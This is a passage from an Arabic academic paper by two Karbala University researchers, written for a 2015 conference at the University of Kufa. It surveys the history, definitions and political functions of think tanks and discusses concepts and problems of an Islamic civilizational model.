دور مراكز الأبحاث في بناء النموذج الحضاري الإسلامي

      التعليقات على دور مراكز الأبحاث في بناء النموذج الحضاري الإسلامي مغلقة

جمهورية العراق

وزارة التعليم العالي والبحث العلمي

جامعة كربلاء

دور مراكز الأبحاث في بناء النموذج الحضاري الإسلامي

بحث من إعداد

   أ.م,د خالد عليوي العرداوي        و       أ.م.د سامر مؤيد عبد اللطيف

مدير مركز الدراسات الإستراتيجية / جامعة كربلاء    باحث في مركز الدراسات القانونية والدستورية / جامعة كربلاء

                        

للمشاركة في المؤتمر الموسوم

( دور الجامعات ومراكز الأبحاث والمؤسسات العلمية في بناء المشروع الحضاري الإسلامي) الذي يقيمه مركز دراسات الكوفة/ جامعة الكوفة بالتعاون مع أكاديمية الحكمة العقلية / جمهورية إيران الإسلامية للمدة من 7 – 8 / كانون الثاني / 2015

المقدمة

أهمية البحث:

إن حجم التحديات التي تواجه الإسلام كدين ، والمسلمين كشعوب ودول تحتاج إلى أن يكون لها مكان لائق ومؤثر بين الأمم، تسلط الضوء على أهمية مراكز الأبحاث في بناء النموذج الحضاري الإسلامي. فالإسلام كدين يقع تحت ضغط المحاولات المحمومة لتشويه مقاصده، وأحكامه، ومنظومته القيمية، من جهات عدة – داخل العالم الإسلامي وخارجه- لها أطروحاتها الخاصة التي تحاول فرضها والتبشير بها بين الناس، مستثمرة الإمكانيات الفذة التي توفرها ثورة التقانة والمعلومات بآفاقها الواعدة . والمسلمون كشعوب ودول لا يظهر واقعهم صورة وردية خالية من العيوب، بل يواجهون مشاكل بنيوية مهمة على مستوى الفكر، والسلوك، والقدرة على التواصل الايجابي والفاعل مع الآخر، مما خلق فجوة حرجة بين واقع المسلمين وحاجاتهم الملحة وطموحاتهم المشروعة. كل ذلك يجري مع وجود عجز واضح في المؤسسات السياسية والاجتماعية التقليدية للبلدان الإسلامية عن اخذ دورها الريادي المفترض في معالجات الأزمات، وحل المشاكل، وتوظيف القدرات على اختلاف مصادرها لتعزيز ميزتهم التنافسية على المستوى الحضاري. ومع بقاء دور هذه المؤسسات الفاعل في تحقيق الريادة لمجتمعاتها، تجد أن مقتضيات العصر تستدعي الاستعانة بمؤسسات أخرى يمكن أن تشكل ركيزة أساسية في نهضة الحضارة المعاصرة ألا وهي مراكز الأبحاث، التي كثرت الدراسات التي تتحدث عن دورها في عملية صنع القرار السياسي للحكومات التي تعمل تحت سلطتها ، ولكن جاء الوقت لتسهم أيضا في عملية تطوير القدرة التنافسية الحضارية لبلدانها ، من خلال القيام بدور فاعل في عملية بناء النموذج الحضاري لهذه البلدان. وتأسيسا على ما تقدم، يعد البحث في دور المراكز البحثية في عملية بناء النموذج الحضاري من البحوث الريادية في مكتبتنا الإسلامية؛ لأن الكتابات في هذا الموضوع قليلة جدا إن لم تكاد تكون معدومة، ووجود تحديات حقيقية وعميقة ومؤثرة تواجه الإسلام والمسلمين من جانب، مع وجود الحاجة القصوى لمؤسسات مهنية عصرية ورائدة كالمراكز البحثية تأخذ زمام المبادرة للعمل على تجاوز هذه التحديات من جانب آخر، يمثل الأساس المحوري لأهمية هذا البحث .

إشكالية البحث :

يشكل غياب النموذج الحضاري الإسلامي الواضح المعالم، وتباين المحاولات الهادفة إلى بناء هكذا نموذج من قبل الدول والحركات والمؤسسات التقليدية الإسلامية وتعثرها وإخفاقها في كثير من الأحيان في القيام بهذا الدور، يمثل الإشكالية الرئيسة التي تدفع باتجاه تفعيل دور مراكز الأبحاث في عملية بناء النموذج الحضاري الإسلامي.

فرضية البحث:

ينطلق البحث من فرضية مفادها أن لمراكز الأبحاث دور فاعل في تذليل العقبات والإشكاليات التي تواجه عملية بناء النموذج الحضاري الإسلامي القادر على الانطلاق بالأمة الإسلامية وتعزيز دورها الحضاري بين الأمم الأخرى، إذا أتيحت لها الفرصة وتوافرت لها المستلزمات الرئيسة المطلوبة؛ لأنها مؤسسات معرفية حيادية عالية المهارة، وأداة مؤسسية أصيلة من أدوات النهوض الثقافي والمادي للبشرية في الوقت الحاضر.

منهجية البحث:

اعتمد البحث في موضوع الدراسة على المنهج التاريخي نوعا ما، وعلى المنهجين الوصفي والوظيفي لإثبات فرضيته الأساس وتحقيق أهدافه المبتغاة.

خطة البحث :

أعدت خطة البحث في الموضوع لتكون بالشكل الآتي:

المقدمة

المبحث الأول: تحديد المفاهيم.

المطلب الأول: مراكز الأبحاث: نشأتها، تعريفها، أهميتها.

المطلب الثاني: النموذج الحضاري الإسلامي: مفهومه ، واشكالياته.

المبحث الثاني: بناء النموذج الحضاري الإسلامي في إطار مراكز الأبحاث.

   المطلب الأول: دور مراكز الأبحاث في تشخيص الواقع وبلورة الدافع لبناء النموذج الحضاري الإسلامي.

   المطلب الثاني: إعداد المخطط الاستراتيجي للنموذج الحضاري الإسلامي.

   المطلب الثالث: حشد الطاقات وتوظيفها لبناء النموذج الحضاري الإسلامي.

الخاتمة

المبحث الأول: تحديد المفاهيم

يقتضي إدراك دور مراكز الأبحاث في عملية بناء النموذج الحضاري الإسلامي تحديد إطار عام للمفاهيم المقصودة في هذه الدراسة؛ لتمهيد الأرضية البحثية المناسبة للتعرف على هذا الدور، وتلمس مقدار حاجة الأمة الإسلامية للمؤسسات البحثية المعاصرة، ومنها مراكز الأبحاث في إعادة صياغة وتقويم نموذجها الحضاري المنشود. وهذا ما سيركز عليه هذا المبحث، من خلال ما يأتي :

المطلب الأول: مراكز الأبحاث: نشأتها.. تعريفها.. أهميتها

قطعت مراكز الأبحاث والدراسات شوطا تاريخيا مكنها من إشغال مكانة مهمة في مجتمعاتها بفضل ما حققته من قدرات للتأثير في عملية البناء الحضاري أو حتى التواصل مع صناع القرار ضمن تلك المجتمعات . وما تقدم يؤسس الحاجة لتتبع المسار التاريخي لمراكز الأبحاث والتحري عن حقيقة مكانتها وأهميتها بعد اكتشاف ماهيتها . وهذا ما سيتم تناوله في الفروع القادمة .

ألفرع الأول: نشأة مراكز الأبحاث.

يختلف الباحثون في تحديد البداية التاريخية لتأسيس مراكز الأبحاث، فهناك من يحدد نشأتها الأولى في عام 1831 مع تأسيس المعهد الملكي للدراسات الدفاعية في بريطانيا([1]) ، وهناك من يربط نشأتها بعام 1884 مع تأسيس الجمعية الفابية البريطانية التي تعنى بدراسة التغيرات الاجتماعية([2]).

وبصرف النظر عن البداية التاريخية لنشوء هذه المراكز ، فأنه مع مطلع القرن العشرين الماضي تصاعدت حركة تأسيسها،ففي الولايات المتحدة تم تأسيس معهد كارنيجي للسلام الدولي عام 1910، ثم معهد بروكينغز عام 1916، ومعهد هوفر عام 1918، والمكتب الوطني لأبحاث الاقتصاد عام 1920،ومعهد غالوب عام 1920، ومؤسسة راند عام 1945 بأشراف القوات الجوية الأمريكية([3]).. أما في بريطانيا فتم تأسيس المعهد الملكي للشؤون الدولية عام 1920، وفي فرنسا تم تأسيس المعهد الفرنسي للعلاقات الدولية، وفي ألمانيا تم تأسيس الأكاديمية الألمانية للسلام عام 1931. واستمرت حركة تأسيس هذه المراكز بالتصاعد حتى وصلت ذروتها في عام 1996 بمعدل 150 مركز تم تأسيسها سنويا، وفي عام 2011 بينت إحصائية أمريكية لمراكز الأبحاث أن عددها وصل إلى 6480 مركزا منها فقط 5% في الشرق الأوسط وشمال أفريقيا([4]). وتأتي في المرتبة الأولى من حيث الأهمية والتأثير في عملية صنع القرار السياسي مراكز الأبحاث الأمريكية( فالمراكز الثلاث الأولى عالميا تعود للولايات المتحدة وهي حسب الترتيب: معهد بروكينغز، ومؤسسة كارنيجي للسلام الدولي، ومجلس العلاقات الخارجية) ، تليها بريطانيا والصين ، ثم ألمانيا وسويسرا والدنمارك وروسيا ودول أوربا الشرقية و تركيا واستراليا، أما دور مراكز الأبحاث في الشرق الأوسط فكان محدود جدا.

هذا التنامي الكمي والنوعي لمراكز الأبحاث، إن دل على شئ فإنما يدل على أنها مؤسسات أصيلة ومهمة في بناء الحضارة الإنسانية في الحاضر والمستقبل، وليست مجرد مؤسسات طارئة محدودة الغرض والتأثير، مما يتطلب التعمق في فهمها؛ لاستيعاب أهميتها.

الفرع الثاني: تعريف مراكز الأبحاث.

تعرف مراكز الأبحاث بأنها:” أي منظمة تقوم بأنشطة بحثية سياسية، تحت مظلة تثقيف وتنوير المجتمع المدني بشكل عام، وتقديم النصيحة لصانع القرار بشكل خاص”([5])، ويؤخذ على هذا التعريف أنه حدد دور المراكز البحثية بالجانب السياسي فقط ، علما أنها تتميز بثراء وتنوع مجالاتها البحثية وتعدد تخصصاتها العلمية. من جهته دونالد ابلسون يعرفها بالقول:” بأنها هيئات ذات توجه بحثي لا تهدف إلى الربح، ولا تعبر عن توجه حزبي معين، دون أن ينفي ذلك عنها الصفة الأيديولوجية، وتتمثل أهدافها الرئيسة في تأثيرها على الرأي العام والسياسات العامة “([6]) ، والى هذا المعنى يذهب ( خالد وليد محمود) عندما عرفها بالقول :هي” مؤسسات بحثية دورها الرئيس هو إنتاج الأبحاث والدراسات في مجالات متعددة، بما يخدم السياسات العامة للدولة وتقديم رؤى مستقبلية تهم الفرد والمجتمع وصانعي القرار”([7])، كما تعرف هذه المراكز بأنها:” تجمع وتنظيم لنخبة متميزة ومتخصصة من الباحثين تعكف على دراسة معمقة ومستفيضة لتقدم استشارات أو سيناريوهات مستقبلية يمكن أن تساعد أصحاب القرارات في تعديل أو رسم سياستهم بناء على هذه المقترحات في مجالات مختلفة”([8]) .أو هي ” جامعات بلا طلاب ، أبحاثها الأكاديمية عالية الجودة ، هدفها بيان العواقب المحتملة لإتباع مجموعة من الخيارات في السياسة الخارجية”([9]وان الصلة التي تربط بين مراكز الأبحاث والدراسات والمسؤولين وصناع القرار جعلت البعض يصفها بأنها نوادي نصف سياسية ونصف مراكز بحثية وأكاديمية([10]).

وهناك من يحاول التمييز في التعريف بين مراكز الفكر(think tanks)، كما تسمى في الولايات المتحدة الأمريكية، والتي تعرف بأنها” مؤسسة بحثية توظف لتحليل المشاكل والتخطيط للتطورات المستقبلية (أوهي) جماعة أو مؤسسة منظمة للبحث المركز وحل المشاكل والتخطيط في المجالات السياسية أو الاجتماعية أو العسكرية”([11])وبين مراكز الأبحاث،استنادا إلى الاعتقاد بأن مراكز الأبحاث”لا ترمي إلى ابعد من الغايات الأكاديمية والحياد الموضوعي الصرف .. أما مراكز الفكر أو التفكير فتستهدف غايات إستراتيجية محددة من خلال سعيها إلى الانخراط في صنع القرار السياسي العام “([12]) ، ويبدو أن هذا الرأي من قبل القائل به ناجم عن اعتقاده بأن مراكز الأبحاث هي فقط تلك التابعة للجامعات والمؤسسات الأكاديمية، لذا سيطرت تجربة هذا النوع من المراكز عليه في إصدار هكذا حكم ، ولم يطلع بعمق على تجارب المراكز غير المرتبطة بالمؤسسات الأكاديمية ، عندما تصبح مراكز الأبحاث هي ذاتها مراكز وخزانات للفكر والمعرفة ، كما أن مراكز الأبحاث في بداية نشأتها في أوروبا في القرن الثامن عشر كانت تسمى كراسي علمية ، وفي بريطانيا أثناء الحرب العالمية الثانية تمت تسميتها بصناديق الأدمغة (Brain Boxes) ، أما في الولايات المتحدة فسميت بـ((think tanks، لذا فهذه الدراسة لا تميل إلى التفريق في التسمية بين خزانات الفكر ومركز الأبحاث؛ لأن هذه المؤسسات البحثية قد تسمى مراكز أو معاهد أو جمعيات أو مجالس أو وحدات أو هيئات .. لكن ذلك لا يؤثر على دورها الذي تلعبه في حل مشاكل المجتمع والدولة، وتقديم الرؤى المستقبلية المناسبة لتطورات الأحداث في الوقت الحاضر، والإسهام الفاعل في صنع القرار السياسي ورسم السياسات العامة ، طالما أن آليات عملها والهدف من تأسيسها واحد.

الفرع الثالث : أهمية مراكز الأبحاث والدراسات

كما يفهم (ليو شتراوس)، فأن أنظمة الحكم” ليست مجرد مؤسسات رسمية وهياكل سلطة، إنها تشكل المجتمعات الساندة لها وتتشكل على أيديها. إن القواعد غير المكتوبة التي يتصرف الناس بموجبها والمستندة إلى الدين، والقرابة، والخبرة التاريخية المشتركة، هي أيضا جزء من نظام الحكم”([13]) ، والانطلاق من هذا الفهم للبحث في (دور مراكز الأبحاث في بناء النموذج الحضاري الإسلامي) يعود إلى أن أي نموذج حضاري يقع في القلب منه موضوع نظام الحكم ، وعلى طول الخط كانت مشكلة مشروعية وشرعية نظام الحكم،وطبيعته، وآلية علاقاته البينية والعمودية، ومنظومته القيمية، ومرجعيته الثقافية.. من المشاكل التي كثر الجدال والحديث فيها قديما وحديثا في عالمنا الإسلامي، ولا يقع الجزء الأكبر من حل هذه المشكلة ضمن نطاق مسؤولية عامة الناس أو نخبهم التنفيذية المدنية والعسكرية، بل يقع ضمن مسؤولية المؤسسات النخبوية ذات التركيز المعرفي العالي في تحديد طبيعة المشاكل وسبل معالجتها وخطوات التحرك برؤية واضحة نحو المستقبل، مع تحييد وتذليل العقبات وتجاوز التحديات، وتأتي في مقدمة هذه المؤسسات مراكز الأبحاث ، فهذه المؤسسات تمثل أدوات القوة الناعمة في المجتمع التي تحدث (فرانسيس فوكوياما) عن محورية دورها عند التركيز على قضايا” الحكم الصالح، والقابلية السياسية للمسائلة ، والديمقراطية، والمؤسسات القوية” وهي القضايا التي يجب أن تقع في صلب الحديث عن النموذج الحضاري الإسلامي ، لأن سر التنمية كما يراها(فوكوياما) ” سواء أكانت اقتصادية أو سياسية، هو أن الأشخاص الخارجيين ليسوا هم أبدا تقريبا الأشخاص الذين يدفعون العملية إلى الأمام.إنهم دائما الناس الموجودون داخل المجتمعات، وهم أحيانا نخبة صغيرة، وأحيانا مجتمع مدني عريض، وهم الذين يجب أن يخلقوا طلبا على الإصلاح وعلى المؤسسات، وهم الذين يجب أن يمارسوا في نهاية المطاف ملكية النتائج”([14]).

إن ما يميز مراكز الأبحاث عن غيرها من المؤسسات هو دورها الحيوي في بناء الدول والمجتمعات الحديثة ، والحاجة المتنامية إليها مع تعقيد قضايا الفكر والمعرفة، وبروز مظاهر التطرف الأعمى ، وتصاعد الأزمات والصراعات ، وتشابك المصالح ، وتعدد مصادر المعلومات في عالم يتجه إلى مزيد من التقارب في ظل تنامي حركة العولمة و تقدم مستوى التقانة ، إذ يتحدث (جيمس ماك جين) احد خبراء معهد بحوث السياسات في الولايات المتحدة عن أهمية المراكز البحثية بعدها ” ليست فقط للتزويد بالمعلومات ، وإنما يستعان بها لوضع وتقرير أجندة السياسات، أي أنها تقوم من خلال دراستها وأبحاثها في صنع القرار السياسي”([15])الأمريكي ، فقد ساهمت بدور كبير”.. في خلق كثير من المفاهيم والمصطلحات السياسية، مثل العولمة، ومصطلح محور الشر، والدولة الفاشلة، ومكافحة الإرهاب، والأنظمة الدكتاتورية، والشفافية ، والتي غالبا ما يتبناها الرؤساء الأمريكيون لتصبح جزءا مكملا لسياساتهم”([16]).

وتمثل هذه المراكز لصانع القرار الصيني النوافذ التي تساعده على تكوين رؤية أفضل عن المؤسسات السياسية والمجتمعات في البلدان الغربية، وفي نفس الوقت تساعد صناع القرار والباحثين الغربيين على تكوين رؤية أفضل عن المؤسسات السياسية والمجتمع في الصين”([17]).

وهي كما يراها الدكتور(كاظم البطاط) أصبحت ذات دور ريادي في قيادة العالم؛ لأنها أداة لإنتاج العديد من المشاريع الإستراتيجية الفاعلة([18]كما أنها مراكز لإنتاج الأفكار التي سيتم نقلها إلى المجتمع وصانع القرار معا ، وتبرز أهميتها أكثر من خلال:”([19])

       تركيز وتكثيف الجهود العلمية المتخصصة ، حيث تعد هذه المراكز وعاء مستفزا ومستوعبا للجهود المبذولة، مما يرجع على الباحثين، وذوي الاهتمام الفكري والبحثي، والمجتمع بالفائدة، فالباحث يستفيد من التلاقح الفكري والعصف الذهني الذي توفره تلك المراكز، ويستفيد المجتمع من الإنتاج الفكري والبحثي.

       إنتاج معرفة مرتبطة بالواقع ، والانطلاق منها لبناء الاستراتيجيات، وتطوير المقاربات والرؤى والنماذج والمناهج في التعاطي مع قضايا الدولة والمجتمع والإنسان.

       فتح الآفاق لرؤية المستقبل بتصور علمي متزن، بعيدا عن العواطف الفكرية، والآراء الغالية الجموحة التي تنطلق من تصورات ومنطلقات غير دقيقة وغير علمية.

وتبرز أكثر أهمية مراكز الأبحاث في المجال السياسي لقيامها بالمهام الآتية([20]):

1-  التفكير للحكومات من خلال تقديم الأفكار الجديدة ، والرؤى الإبداعية ، وترشيد السياسات العامة ، لذا نجد أن خطة مارشال لدعم أوربا وإعادة بنائها بعد الحرب العالمية الأولى جاءت من معهد بروكينغز.

2-  الدخول كطرف توفيقي بين الأطراف الحكومية المتنازعة والمختلفة لتقريب وجهات النظر المتباينة حول إعداد سياسة معينة.

3-  القيام بالدور الاستشاري للحكومات في القضايا التي تتطلب معرفة متخصصة وسرعة في الانجاز والقرار.

4-  توفير قاعدة بيانات بحثية لصناع القرار والمسؤولين عند الحاجة.

5-  ممارسة دبلوماسية المسار الثاني أو الموازي ( تلعب وزارة الخارجية دور دبلوماسية المسار الأول ) من خلال إرسال بعض خبراء المراكز البحثية من قبل مؤسسات حكومية معينة للتفاوض بشأن قضايا محددة ، كما حصل قبل اتفاقية أوسلو ، عندما قام تيد لارسون رئيس معهد أبحاث السلام في أوسلو بترتيب عملية التفاوض بين الفلسطينيين والإسرائيليين ، وكما حصل – أيضا – من خلال الدور الذي لعبه جيمي كارتر في قضايا عالمية مختلفة ، كقضية جنوب السودان .

6-  مرافقة خبراء مراكز الأبحاث والدراسات للوفود الرسمية كخبراء في القضايا التي تكون محل نقاش وتفاوض.

7-  توفير المواهب من خلال سياسة الباب الدوار بين المراكز البحثية والمناصب العليا في الدولة ، ففي كثير من الأحيان يتم اختيار وتكليف بعض خبراء المراكز للعمل في المناصب العليا ، والعكس أيضا صحيح ، إذ أن كثيرا من المسئولين عندما يتركون مناصبهم يذهبون للعمل في هذه المراكز كخبراء أو باحثين أو مستشارين في الإدارة العليا أو مجالس الأمناء ، فعلى سبيل المثال ، أن كل رئيس جمهورية في الولايات المتحدة ، يقوم بتعيين حوالي 4000 مسئول حكومي ، منهم 2200 كمستشارين وأعضاء في اللجان المختلفة ، وعادة ما يتم اختيار هؤلاء حصرا من مراكز الأبحاث ، منهم مثلا : هنري كيسنجر ، مارتن اندك ، وارن كريستوفر ، الكسندر هيغ ، ريتشارد بيرل ، بول وولفيتز ، مادلين أولبرايت ، كولن باول ، صامويل هنتنغتون ، دونالد رامسفيلد ، ديك تشيني ، ريتشارد ارميتاج ، زلماي خليل زاد ، جون بولتون ، فرنسيس فوكاياما ، كوندوليزا رايس .. بل إن 60 % من مساعدي وزراء الخارجية في الولايات المتحدة جاءوا من مراكز الأبحاث .

8-  لعب دور القناة الإعلامية للمسئولين الكبار، عندما يعتمدون على بعض مراكز الأبحاث المقربة في إرسال رسائل استباقية أو تعابير فورية أو إشارات دبلوماسية غير مباشرة إلى بعض الأطراف حول قضايا أو أزمات معينة .

9-  تمثل المراكز البحثية قناة اتصال غير مباشرة أو غير رسمية بين كبار صناع القرار في الدولة وبعض الأطراف الخارجية لمعرفة مواقفها وأطروحاتها وآرائها السياسية وطبيعة أدوارها واهتماماتها والاتجاهات الدولية السائدة من خلال المشاركة في أنشطة علمية مشتركة أو دعوة هذه الأطراف إلى الندوات والمؤتمرات التي تعقدها المراكز البحثية .

10-         تمثل مراكز الأبحاث مجسات للاستشعار المبكر واستقراء المستقبل من خلال دورها في الاستشراف المستقبلي استنادا إلى قواعد علم المستقبليات لمساعدة صناع القرار على التخطيط الاستراتيجي للمستقبل .

11-         ترشيد أو عقلنة القرار السياسي للمسئولين وصناع القرار، لتقليل احتمالية الخطأ أو الفشل في صنع ورسم السياسة العامة.

12-         تشكيل الرأي العام من خلال دورها المعرفي، وقدرتها على التكتل والضغط لمصلحة فئة معينة أو تحقيق سياسة معينة.

13-         إن مراكز الأبحاث تشكل صلة الوصل بين عالم البحث والدراسة وعالم السياسة، فهي التي تمد الجسور بين المعرفة والسلطة.

وهذه المهام التي تلعبها مراكز الأبحاث والدراسات ، جعلت الحاجة إليها كالماء والهواء بالنسبة للمجتمعات ولصناع القرار السياسي ، لرسم السياسة العامة للدولة ، والتخطيط الاستراتيجي الناجح ، بعيدا عن السطحية في التفكير أو الارتجال والاستعجال في القرارات ، بل لا يمكن بناء دولة متقدمة أو مجتمع ناجح ما لم تكن مراكز الأبحاث والدراسات فيها متقدمة وفاعلة في عملها.

المطلب الثاني : النموذج الحضاري الإسلامي: مفهومه واشكالياته.

ألفرع الأول: مفهوم النموذج الحضاري الإسلامي.

مفردة النموذج من المفردات الدخيلة على اللغة العربية، لذا لا يجدها الباحث في المعاجم العربية القديمة، من مثل لسان العرب لابن منظور على سبيل المثال، ولكن عند مراجعة المعاجم الحديثة كـ(المعجم الوسيط)و(المنجد في اللغة العربية المعاصرة) تجد أن أصل الكلمة فارسي وهو (نموذه) ومعناها مثال الشئ أو ما يصلح ليكون مثالا ، أو صورة لشئ تمثله ، وجمعها نماذج ، والنموذجي هو ما يتخذ نموذجا أي مثالا يحتذى به، والشئ النموذجي هو الذي يجمع أفضل الصفات والميزات في نوعه([21]).

أما في الاصطلاح، فالنموذج كما يعرفه الدكتور( احمد إبراهيم خضر) هو “..أداة تحليلية ونسقا كاملا، يدرك الناس من خلاله واقعهم، ويتعاملون معه ويصوغونه”([22])، أو هو”.. بنية فكرية تصورية، يجردها العقل الإنساني من كم هائل من العلاقات والتفاصيل، فيختار بعضها ثم يرتبها ترتيبا خاصا، أو ينسقها تنسيقا خاصا، بحيث تصبح مترابطة بعضها ببعض، ترابطا يتميز بالاعتماد المتبادل”([23])، وهذا النسق المتكامل أو البنية الفكرية التصورية الذي يطلق عليه تسمية النموذج، تجعل صاحبه أو المؤمن به، يتصور أن” .. العلاقة بين عناصره تماثل العلاقة بين عناصر الواقع.. فهو يرى أنه يشكل الإطار الكلي الذي يفسر تفاصيل الواقع وعلاقاته..”([24]). ولكن هذه النظرة إلى النموذج قد تكون مجرد تصورات يحملها الإنسان، أما الحقيقة فهي أن هناك فجوة كبيرة بين النموذج وبين الواقع الذي يراد إسقاط هذا النموذج.

على أي حال، فأن ما يخلص إليه الباحث من تحليل المعنى اللغوي والاصطلاحي لمفردة النموذج يكاد يجعل الفهم لها متقاربا جدا ، فالمثال الذي يحتذى من قبل إنسان ما يشير إلى بنية فكرية تصورية أو نسق متكامل من العناصر يحاول ذلك الإنسان المطابقة بينها وبين واقع ما، ليعبر به عن أمر ما، وهذا المثال، يختلف من مكان إلى آخر، ومن زمان إلى آخر لأسباب عدة.

وعندما تلحق مفردة الحضاري بالنموذج، فتقول ( النموذج الحضاري) عندئذ يزداد تعقيد المفهوم؛ لأن ذلك يقتضي معرفة ماذا يقصد بالحضارة ؟.

الجذر اللغوي للحضارة عربيا هو ( حضر) بفتح الحاء والضاد وتسكين الراء، والحضر هنا تشير إلى المدن والأرياف خلاف البادية، وفي الناس هم سكان المدن والقرى خلاف البدو سكان البادية([25]وبهذا المعنى اللغوي يكون مفهوم الحضارة متناسقا مع معناها الاصطلاحي الغربي المشتق من الجذر اللغوي للكلمتين الانجليزيتين( civilization) و (culture) الذي ذكره لأول مرة (دي ميرابو) في القرن الثامن عشر في كتابه (مقال في الحضارة) فعرفها بأنها” رقة طباع شعب ما، وعمرانه، ومعارفه المنتشرة، بحيث يراعي الفائدة العلمية العامة “([26])، وعرفها بعد ذلك (وول ديورانت) بأنها ” نظام اجتماعي يعين الإنسان على الزيادة في إنتاجه الثقافي، ويتألف من عناصر أربعة: الموارد الاقتصادية، والنظم السياسية، والتقاليد الخلقية، ومتابعة العلوم والفنون” ([27]كما عرفها(جورج باستيد) بأنها” التدخل الإنساني الايجابي لمواجهة ضرورات الطبيعة، تجاوبا مع إرادة التمرد في الإنسان، وتحقيقا لمزيد من اليسر في إرضاء حاجاته، ولإنقاص العناء البشري”([28])، وعرفها (تايلر) بأنها” ذلك الكيان المعقد الذي يضم المعرفة والمعتقدات، والفنون والآداب، والقوانين والعادات، وجميع القدرات، والتقاليد الأخرى، التي يكسبها الإنسان بصفته عضوا في المجتمع ” ([29]).

وقد انساق وراء هذا الفهم للحضارة معظم المفكرين العرب والمسلمين من قوميين ويساريين ومستشرقين وغيرهم([30]).وبناء على هذا الفهم يكون النموذج الحضاري الإسلامي مصطلحا يشير إلى:نسق متكامل أو بنية فكرية يضم مجموعة من العناصر المادية والثقافية كنمط العمران السائد، والنظم السياسية والاقتصادية والاجتماعية السائدة، وأنماط السلوك المتبادلة، والقيم والعادات والتقاليد السائدة، والمعارف السائدة وطرق تحصيلها .. بالشكل الذي يحفظ خصوصيتها الإسلامية وتميزها الوجودي عن النماذج الحضارية لبقية الأمم والشعوب.

لكن التعقيد في فهم النموذج الحضاري الإسلامي ينبع من أن كلمة (حضر) تنطوي على معان أخرى في اللغة العربية، فحضر( بفتح الحاء والضاد والراء أو بكسر الضاد) تعني قدم أي أقبل، وشهد أي تواجد في مكان ما، ومنها يشتق الحاضر (بكسر الضاد) أي الشاهد ، وفي الزمن يكون الحاضر هو الحالي الذي يقف بين الماضي والمستقبل، وحاضر( بفتح الضاد والراء) تعني جالس وحادث ..([31]). ومن ينساق وراء هذه المعاني اللغوية ستتمثل له الحضارة بمفهوم الشهادة ، والأمة الحاضرة ستعني الأمة الشاهدة على غيرها من الأمم ، ولا يخفى لما لهذا المفهوم من أدلة قرآنية ساندة وداعمة له من جهة، ومحفزة ومستفزة لكثير من التصورات من جهة أخرى، ومن القائلين بهذا القول المفكر المصري الدكتور (نصر محمد عارف) الذي يرى بأن الحضارة في أصولها الإسلامية تعني” نموذج إسلامي يستبطن قيم التوحيد والربوبية، وينطلق منها بعد غيبي يتعلق بوحدانية خالق هذا الكون، ومن ثم فان دور الإنسان ورسالته هو تحقيق الخلافة عن الخالق في تعمير أرضه وتحسينها، وبناء علاقة سلام مع المخلوقات الأخرى أساسها الدعوة إلى سعادة الدنيا والآخرة”([32]) ، فمفهوم الحضارة لدى الدكتور نصر يتمحور ” حول قيم العقيدة الإسلامية، والتي مثلت الشرعة والمنهاج للممارسة الإسلامية على العكس من النموذج الغربي الذي أشتق مفرداته من تطوره التاريخي وواقعه ألمعاشي” ([33]). والى هذا المفهوم، ذهب الدكتور (إسماعيل راجي الفاروقي) في مؤلفه(أطلس الحضارة الإسلامية) ، إذ يرى أن مفهوم الحضاري لدى المسلمين هو ” أحد المفاهيم التي تولدت عن مفهوم التوحيد،فالحضارة..هي العلاقة بين جوهر الإسلام وبين الظواهر التي رسخت وجوده في التاريخ، ونتاج تلك العلاقة المنتج الحضاري الإسلامي، والتوحيد هو جوهر الإسلام مثلما هو جوهر الحضارة “([34]). كما ذهب إلى هذا المفهوم المفكر الجزائري (مالك بن نبي) ، الذي اعتبر ” الدين أساس قيام المجتمعات والحضارات، لذلك وجب البحث عن أصلها الديني الذي بعثها”([35]).

وبدلالة هذا المفهوم يمكن تعريف النموذج الحضاري الإسلامي بأنه: نسق متكامل أو بنية فكرية قائمة على قيم التوحيد والربوبية، ويستند إلى هذه القيم في منتجه المادي والثقافي عند بناء نظمه العامة (السياسية والاقتصادية والاجتماعية)، وتحديد أنماطه السلوكية، ومنظومة قيمه وعاداته وتقاليده ، ليرسم في النهاية الخطوط العامة لرؤيته للكون والحياة والإنسان.

أن الفرق واسع جدا بين فهم النموذج الحضاري الإسلامي بدلالته التاريخية ،أي كحصيلة للمنتج المادي والثقافي التاريخي للإنسان المسلم والتي تمتزج بها خصوصية المكان والزمان ، وبين فهمه بدلالته الرسالية ، أي كبنية فكرية دينية متكاملة تتطلب تكامل الإنسان معها وتكييفه لظروف الزمان والمكان بشكل لا يتجاوز على أصلها ألقيمي وعناصرها البنيوية الأساسية، وبين هذين الفهمين ينبسط جدل واسع بين المفكرين المسلمين على اختلاف مدارسهم ومداركهم وانتماءاتهم([36]) ، ويتجسد هذا الجدل في مقولات وحدة الحضارة البشرية أم تعدد الحضارات الإنسانية وتميزها الواحدة عن الأخرى ، تلك المقولات التي أثارت الكثير من التساؤلات، والتي كان أبرزها التساؤل الآتي :هل الأساس هو صراع الحضارات أم حوارها وتكاملها؟. ومن رحم هذا الجدل، ولأسباب ذاتية أيضا ستبرز إشكاليات عدة تواجه بناء النموذج الحضاري الإسلامي.

الفرع الثاني: إشكاليات النموذج الحضاري الإسلامي.

فهم النموذج الحضاري الإسلامي بصيغته الرسالية التي تميزه بالشمولية، والتكامل، والاستمرارية، والانسجام الأخلاقي بين عالم المادة وعالم القيم هو الفهم الذي تميل إليه هذه الدراسة، لكن وضوح هذا الفهم لا يسلم من وجود إشكاليات حقيقية تحتاج إلى إيجاد حل أو تحييد لتأثيراتها، ومن هذه الإشكاليات الرئيسة مايلي:

أولا: إشكالية غياب الهوية.

هذه الإشكالية من أعمق الإشكاليات تأثيرا على فاعلية وحيوية النموذج الحضاري الإسلامي ، وتتجسد ابتداءً في عدم وجود مفهوم جامع متفق عليه لهذا النموذج من قبل النخب المثقفة والأكاديمية المسلمة، وقد سبق أن اتضح أن هذه النخبة منقسمة ابتداءً فبعضها ينظر إلى النموذج الحضاري بصيغته التاريخية ، ليكون بذلك حصيلة النتاج المادي والثقافي للشعوب المسلمة خلال حقبها التاريخية المختلفة، والبعض الآخر ينظر إليه بصيغته الرسالية المتسامية على الزمان والمكان، وما النتاج المادي والثقافي إلا تكييف ومحاولة انسجام مع البنية الفكرية لقيم التوحيد والربوبية، وهذا الانقسام الحاد في فهم النموذج الحضاري الإسلامي تابع للانقسام الحاد في الفكر المسلم بين تيارات فكرية وسياسية مختلفة في منطلقاتها المعرفية سواء كانت ليبرالية أم محافظة ، قومية أم أممية ، دينية أم وضعية..([37]). وسينتج عن هذا الاختلاف في تحديد المفهوم اختلاف حقيقي حول تحديد هوية النموذج الحضاري، فالقومي المسلم ينظر إليه على أنه يمثل النتاج المادي 